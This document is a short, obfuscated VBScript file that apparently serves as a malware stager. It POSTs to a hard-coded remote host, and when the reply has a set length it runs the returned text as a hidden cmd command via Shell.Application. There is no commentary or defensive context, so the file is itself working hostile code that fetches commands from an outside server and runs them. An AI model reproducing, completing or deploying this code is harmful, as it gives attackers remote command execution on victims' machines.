ykabsixxksd = Wscript.ScriptName
With CreateObject("WINHTTP.WinHTTPRequest.5.1")
.Open "POST", "http://72.111.231.140.static.cdnalpha.in/", False
ykabsi6 = "cmd"
ykabsi4 = "Shell.Application"
.send
dim ykabsixxksd
dim ykabsixxkDd
ykabsi5 = .responseText
if len(ykabsi5) = 543 then
if len(ykabsi5) = 543 then
if len(ykabsi5) = 543 then
if len(ykabsi5) = 543 then
CreateObject(ykabsi4).ShellExecute ykabsi6, ykabsi5 & ykabsixxksd ,ykabsi,"",0
end if
end if
end if
end if
End With